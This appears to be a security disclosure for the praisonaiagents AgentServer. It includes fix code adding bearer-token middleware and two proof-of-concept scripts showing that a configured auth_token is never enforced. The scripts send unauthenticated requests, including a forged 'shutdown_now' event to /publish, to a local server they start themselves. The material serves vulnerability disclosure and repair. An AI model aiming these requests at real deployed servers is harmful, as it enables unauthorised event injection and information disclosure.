# line 163
async def _verify_auth(authorization: Optional[str] = Header(None)):
    """Verify bearer token if auth_token is configured."""
    if self.auth_token is None:
        return
    ...
    if len(parts) != 2 or parts[0].lower() != "bearer" \
            or parts[1] != self.auth_token:
        raise HTTPException(status_code=401, ...)

# line 192
from fastapi import Depends
_a2a_deps = [Depends(_verify_auth)] if self.auth_token else []

# in _create_app, after `app = Starlette(routes=routes)`:
if self.config.auth_token:
    from starlette.middleware.base import BaseHTTPMiddleware
    from starlette.responses import JSONResponse

    expected = "Bearer " + self.config.auth_token

    class _Auth(BaseHTTPMiddleware):
        async def dispatch(self, request, call_next):
            if request.url.path == "/health":     # if /health should remain public
                return await call_next(request)
            got = request.headers.get("authorization", "")
            if not hmac.compare_digest(got, expected):
                return JSONResponse({"error": "unauthorized"}, status_code=401)
            return await call_next(request)

    app = _Auth(app)

app = CORSMiddleware(app, ...)

"""
PoC: praisonaiagents AgentServer ignores ServerConfig.auth_token.

The ServerConfig dataclass declares `auth_token: Optional[str] = None` and
the /info endpoint reports it as "***" when set, giving operators the
impression that requests will be authenticated.  In reality,
AgentServer._create_app never reads auth_token, never adds an auth
middleware, and never decorates any route with Depends(_verify_auth).

This PoC starts AgentServer with auth_token="supersecret", then hits
every route without any Authorization header.  All requests succeed.
"""

import json
import sys
import time
import threading
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError

from praisonaiagents.server import AgentServer, ServerConfig

PORT = 18765
AUTH_TOKEN = "supersecret-not-actually-checked"

def http_request(method, path, body=None, headers=None):
    url = f"http://127.0.0.1:{PORT}{path}"
    data = None
    if body is not None:
        data = json.dumps(body).encode("utf-8")
    req = Request(url, data=data, method=method, headers=headers or {})
    if data is not None:
        req.add_header("Content-Type", "application/json")
    try:
        with urlopen(req, timeout=5) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except HTTPError as e:
        return e.code, e.read().decode("utf-8", errors="replace")
    except URLError as e:
        return None, f"URLError: {e}"

def main() -> int:
    print("=" * 70)
    print(f"praisonaiagents version: 1.6.48")
    print(f"Test: start AgentServer with auth_token={AUTH_TOKEN!r}")
    print(f"      then send UNAUTHENTICATED requests to every route.")
    print("=" * 70)

    config = ServerConfig(host="127.0.0.1", port=PORT, auth_token=AUTH_TOKEN, cors_origins=[])
    server = AgentServer(config=config)
    server.start(blocking=False)
    time.sleep(1.0)  # wait for uvicorn to be ready

    findings = []

    code, body = http_request("GET", "/info")
    info_data = None
    try:
        info_data = json.loads(body)
    except Exception:
        pass
    print(f"\n[1] GET /info (no Authorization header) -> HTTP {code}")
    print(f"    body: {body[:200]}")
    if code == 200 and info_data and info_data.get("config", {}).get("auth_token") == "***":
        findings.append("/info: unauthenticated; leaks that auth_token IS configured")

    payload = {"type": "attacker_injected_event",
               "data": {"forged_from": "unauthenticated_client", "instruction": "shutdown_now"}}
    code, body = http_request("POST", "/publish", body=payload)
    print(f"\n[2] POST /publish (no Authorization header) -> HTTP {code}")
    print(f"    body: {body[:200]}")
    if code == 200:
        try:
            ok = json.loads(body).get("success") is True
        except Exception:
            ok = False
        if ok:
            findings.append("/publish: unauthenticated event broadcast to all SSE clients")

    code, body = http_request("GET", "/health")
    print(f"\n[3] GET /health (no Authorization header) -> HTTP {code} body={body[:120]}")
    if code == 200:
        findings.append("/health: unauthenticated; leaks live client count")

    sse_status = []
    def sse_reader():
        try:
            req = Request(f"http://127.0.0.1:{PORT}/events", method="GET")
            with urlopen(req, timeout=3) as resp:
                sse_status.append(f"HTTP {resp.status}")
                try:
                    chunk = resp.read(64)
                    sse_status.append(f"first-chunk-bytes={len(chunk)}")
                except Exception as e:
                    sse_status.append(f"chunk-read: {e}")
        except Exception as exc:
            sse_status.append(f"ERR: {exc}")
    t = threading.Thread(target=sse_reader, daemon=True)
    t.start()
    time.sleep(2.0)
    print(f"\n[4] GET /events (no Authorization header) -> {sse_status}")
    if sse_status and sse_status[0] == "HTTP 200":
        findings.append("/events: unauthenticated SSE subscription accepted")

    print("\n" + "=" * 70)
    if findings:
        print(f"VULNERABLE: {len(findings)} unauthenticated routes")
        for f in findings:
            print(f"  - {f}")
        print("VERDICT: VULNERABLE")
        return 0
    print("DEFENDED")
    return 1

if __name__ == "__main__":
    sys.exit(main())

import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai-agents"); sys.path.insert(0,BK)
for p in ["praisonaiagents","praisonaiagents.server"]:
    m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
lg=types.ModuleType("praisonaiagents._logging"); lg.get_logger=lambda *a,**k: __import__("logging").getLogger("x"); sys.modules["praisonaiagents._logging"]=lg
spec=importlib.util.spec_from_file_location("praisonaiagents.server.server", BK+"/praisonaiagents/server/server.py")
srvmod=importlib.util.module_from_spec(spec); srvmod.__package__="praisonaiagents.server"; sys.modules[spec.name]=srvmod; spec.loader.exec_module(srvmod)

from starlette.testclient import TestClient
# Operator DOES configure an auth_token, expecting it to protect the server:
cfg = srvmod.ServerConfig(host="127.0.0.1", port=8765, auth_token="super-secret-operator-token")
srv = srvmod.AgentServer(config=cfg)            # REAL AgentServer
app = srv._create_app()                        # REAL Starlette app + routes
client = TestClient(app)

print("[*] auth_token configured on server:", repr(cfg.auth_token))
r_info = client.get("/info")
print(f"[+] GET /info  (no auth) -> HTTP {r_info.status_code}; config disclosed: {r_info.json().get('config')}")
r_pub = client.post("/publish", json={"type":"admin_event","data":{"x":"injected-by-attacker"}})
print(f"[+] POST /publish (no auth) -> HTTP {r_pub.status_code}; body: {r_pub.json()}")

assert r_info.status_code==200 and r_pub.status_code==200 and r_pub.json().get("success") is True
print("[+] CONFIRMED against real praisonaiagents repo: auth_token configured but NOT enforced — /info + /publish reachable unauthenticated")